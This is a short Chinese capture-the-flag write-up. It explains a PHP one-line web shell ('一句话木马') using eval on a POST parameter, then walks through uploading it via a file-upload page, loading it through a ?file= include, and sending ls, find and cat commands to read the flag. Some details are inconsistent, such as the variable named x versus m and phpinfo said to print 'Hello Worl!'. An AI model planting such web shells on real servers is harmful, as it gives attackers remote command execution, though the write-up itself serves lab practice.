1.php 一句话木马
<?php @eval($_POST["m"]);?>
当这条语句被服务端执行了,我们同时利用 POST 请求上传变量 x 的值,例如 x=echo ‘Hello’,php 解析器执行的实质上是 @eval(“echo ‘Hello’”),即在前端输出一个字符串,更常见的利用手法是利用 @eval(system($_POST[“x”])) 直接控制服务端的 shell

同时提交 m=ls ,便可以通过 shell 输出当前网页目录下的其他文件,注入其他命令同理
2.题目操作
用浏览器连接靶机,有一个可以提交文件的页面,随便 sumbit 一个文本文件

提示:文件已储存在: uploads/xxx.jpg
可以在 ?file=uploads/xxx.jpg 查看,有相应的内容回显
这是一个最普通的 php 脚本,保存改后缀为 .php 尝试上传
<?php phpinfo(); ?>
在访问时回显 Hello Worl! 说明自定义的 php 脚本被成功执行
把脚本修改成一句话木马
<?php @eval(system($_POST["m"]));?>
成功上传后,访问相应的 ?file=uploads/xxx.jpg,页面空白,说明 php 命令被成功执行
将 url 复制到 Postman ,编辑 Body(Post 的表单)为 m:ls

成功拿到 shell,接下来找到 flag 所在的目录就好了,使用m:find -name / ‘flag’
然后使用cat 查看内容
